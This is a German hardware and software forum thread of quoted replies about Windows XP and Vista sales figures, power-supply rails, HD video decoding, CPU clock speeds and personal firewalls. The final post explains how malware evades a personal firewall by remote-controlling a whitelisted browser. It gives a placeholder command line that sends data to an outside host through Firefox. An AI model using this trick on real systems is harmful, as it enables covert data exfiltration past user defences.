Zitat:

---

Original von Amaris:
Geil....war heute abend in dem Film. Einfach nur genial !
Schwarzenegger als....ne...verrat ich nicht nicht

---

Ich bin nich hier zum Denken, sondern um zu lenken
Die Szene is eh in versch. Trailern zu sehen...

Zitat:

---

Original von Andreas_B:
@Bogomil76:
Dann ist die 17 geklärt, aber was soll die 6 bedeuten?

Deine Links zeigen den Abverkauf von Windows XP nach 2,5 Monaten -> 17 Millionen.
Zum Vergleich stehen die Verkaufszahlen von Windows Vista nach fast genau 6 Monaten -> 60 Millionen.
Neben den Unterschiedlichen Zeiträumen, die einen Vergleich erschweren, kommt noch hinzu, dass der Computermarkt vor 6 Jahren auch noch anders aussah.

Ich weiß nur nicht, was Du uns jetzt mitteilen wolltest, denn Du hast da für einen Vergleich vollkommen ungeeignetes Zahlenmaterial ohne jeglichen Kommentar verlinkt.

---

Sorry, war spät ich war müde, hatte irgendwie in Erinnerung im Thread wäre gestanden 6Mio. Vista Kopien.

@robin
Nö, wollte nix anderes posten, wollte einfach nur die Verkaufszahlen von XP raussuchen. Mehr nich. Ich habe auch keine rosa Brille, ich habe bisher vorher gar nix zu den Verkaufszahlen oder ähnlichem gesagt. Mir ist das BS nämlich relativ schnuppe, ich arbeite mit den Dingern, weiss ziemlich genau was man wo einstellen kann und bin allem neuen offen gegenüber eingestellt. Watt andere machen is mir relativ latte.

mfg

Zitat:

---

Original von Andreas_B:
@Bogomil76:
>> Naja 6:12

---

Oh, ich kann selber nich lesen 17

In den zweieinhalb Monaten seit der Markteinführung will Microsoft über 17 Millionen Lizenzen von Windows XP an den Mann gebracht haben.

War wohl noch zu früh.

Zitat:

---

Original von DrNOP:

Zitat:

---

Original von Bogomil76:
Wie auch immer, von was auf was hast Du geupdatet? Mobo und CPU?

---

Von K7S5A mit Athlon XP 2000+ auf ASRock 939 Dual-SATA2 mit Athlon64 3000+.
Laut Liste nimmt der Athlon64 sogar eher weniger Leistung auf als der AthlonXP davor.
Nachdem Speicher, HDs, Graka und CD-ROM gleich geblieben sind müßte dann ja schon das Mobo einen Haufen mehr Strom ziehen.

---

Also unabhängig davon ob es das jetzt ist oder nicht
Aber die reine Watt Zahl ist eben nicht entscheidend, sondern wieviel A pro V Leitung vorhanden. Und es gibt 5V 3,3V und 12V, jeweils als + und als - ausgelegt (vereinfacht ausgedrückt). Und wenn eine davon überlastet ist, nützt Dir auch keine Gesamt W Leistung etwas...

mfg

edit: http://www.pc-erfahrung.de/hardware/atx-netzteil.html

[ Dieser Beitrag wurde von Bogomil76 am 30.07.2007 um 12:51 Uhr geändert. ]

Zitat:

---

Original von gunatm:

Ich habe selber eine X1900 und kann versichern, daß die Avivo-beschleunigung sich nicht auf HD bezieht.

---

Zitat:

---

Original von CarstenS:
Habe ich dem widersprochen?
--
Interessante Gratis-Aktionen bei Quelle: Aktuell bei Tipp der Woche -> http://www.tippderwoche.eu

---

Zitat:

---

Original von CarstenS:

"Kauf dir einen schnelleren Prozessor!"

Videos in so hoher Auflösung bei Verwendung stark komprimierender Codecs benötigen nun mal sehr viel Rechenleistung, daran werden wohl auch effizientere Dekodierungsroutinen nicht allzu viel ändern.

---

Zitat:

---

Original von Andreas_B:

Das mag sein, aber ich kann mir nur schwer vorstellen, dass ich da noch mehr aus meiner Karte rausholen kann. AGP -> GeForce 6 6200 mit 128MB. Die Karte gilt ja nicht als besonders schnell, aber zum einen ist sie passiv gekühlt und zum anderen ist sie (wie ich anhand einiger Demoversionen getestet habe) auch für relativ aktuelle Spiele (Doom 3, Quake 4, FarCry) noch gut zu gebrauchen und reicht mir damit leistungsmäßig vollkommen aus. Mit dem System komme ich bei meinen Bedürfnissen locker die nächsten 3 Jahre aus
Solltest Du dennoch einen Tipp abseits von "Kauf Dir eine schnellere Grafikkarte" haben, dann bin ich natürlich nicht abgeneigt, dass mal auszuprobieren

Ciao,
Andreas.

---

Nee, aus der bestehenden kannste allenfalls durch Übertaktung natürlich was machen.
Ich meinte eher eine aktuelle die eben HD Beschleunigung bietet.
Welche Anbindung hat die 6200er denn? 64bit?

Also ich würde eine der X1000er Serie von ATI empfehlen, mit dem richtigen Treiber und Abspielprogramm (Hardwarebeschleunigung) kannste da noch was machen
Ich sprach ja nur von HD Vids, nich von Spielen. Da is Sempron und 6200er eh nicht zu gebrauchen (damit meine ich nich nur fps, sondern eben die Qualieinstellungen)

Tja, evtl. hilft http://www.nvidia.de/object/sysutility_de.html oder vergleichbares?

Zitat:

---

Original von Andreas_B:

@Bogomil76
Danke für die Links!
Leider musste ich (nicht wirklich überraschend) feststellen, dass mein Rechner nicht in der Lage ist, die Videos vollkommen ruckelfrei abzuspielen. Mal für Trailer gucken in Ordnung, aber mehr auch nicht.
Dabei versetzt mich der Rechner (ein Sempron 3000+) ansonsten in einen wahren Geschwindigkeitsrausch, hat er doch erst vor kurzem meinen guten, alten Pentium III@700 ersetzt
Da habe ich ja mächtig Glück gehabt, dass "HD-Filme-gucken" nicht zu den geplanten Einsatzgebieten des Rechners gehört

---

Mit der richtigen Grafikkarte kannste da auch wieder was rausholen
Welche haste denn? Und AGP oder PCIe?

Zitat:

---

Original von amigafreak1980:
Hab diesen Thread doch schon fast vergessen. Der Laptop ist übrigens n Sempron 64 3600 Mhz

---

Zitat:

---

Original von Andreas_B:

Hmm, würde ich gerne mal versuchen. Kennt jemand mal eine legale Quelle für so ein Video? Vielleicht ein Trailer oder so etwas in der Art?

---

Zitat:

---

Original von Bjoern:
@Cego
Ich glaube nicht dass er das so gemeint hat. Es geht hier denke ich nicht um x86 vs PPC.

---

thx

Zitat:

---

Original von Cego:

sagt mal, diese parolen können wir doch allmählig lassen oder?
Natürlich ist ein bestimmter Prozessor schneller mit höherem takt als mit niedrigerem.

Takte doch mal deine 060er auf 66MHz und du wirst sehen dein rechner ist schneller...

son schwachsinn kann ich mir nicht mehr antun.

PPC vs x86 ist schon seit jahren vorbei, also lasst son scheiß, denn innerhalb der ein und derselben prozessorarchitektur ist son statement sowas von irrelevant.

Achja und er hat wahrscheinlich nen Dual Core mit 1,8 GHz ersteigert.

---

Zitat:

---

Original von CarstenS:
Stimmt, aber Holger hat zumindest Recht, dass das nicht über den Dateinamen funktioniert. An ActiveX-Applets hatte ich gar nicht gedacht, sondern an übliche Executables.

---

Zitat:

---

Original von Holger:

Zitat:

---

Original von CarstenS:
Ja, indem die Namen bekannter Dateien minimal modifiziert werden. Bei einer guten Personal Firewall kann einem das aber egal sein. Comodo z.B. gleicht die Namen von Dateien, die aufs Internet zugreifen wollen, mit einer eigenen Liste ab.

---

Entschuldigung, aber da hast Du irgendetwas grundsätzlich nicht verstanden. Ein als ActiveX-Control installierter Schädling wird immer als "Internet Explorer" in der PFW auftauchen, einfach deshalb, weil dieser Schädling nicht direkt auf das Internet, sondern via Plugin-API des Explorers selbigen zum Aufbau der Verbindung auffordert. Das ist nicht mal ein spezieller Versteck-Mechanismus, sondern einfach die Art und Weise wie diese Module funktionieren, auch die, die keine Schadfunktion besitzen. Auf ähnliche Weise kann jede Software, die es darauf anlegt, den Zugriff gegenüber einer PFW verschleiern. Einfach eine andere, in der Whitelist enthaltene Software fernsteuern. Ich kann z.B. einfach "Firefox http://rechner:port/meinezuverschickendendaten" als Kommandozeile aufrufen und die heruntergeladene Antwort aus dem Cache lesen. Wer wird schon seiner PFW sagen, dass sie dem Firefox zu misstrauen hat?

---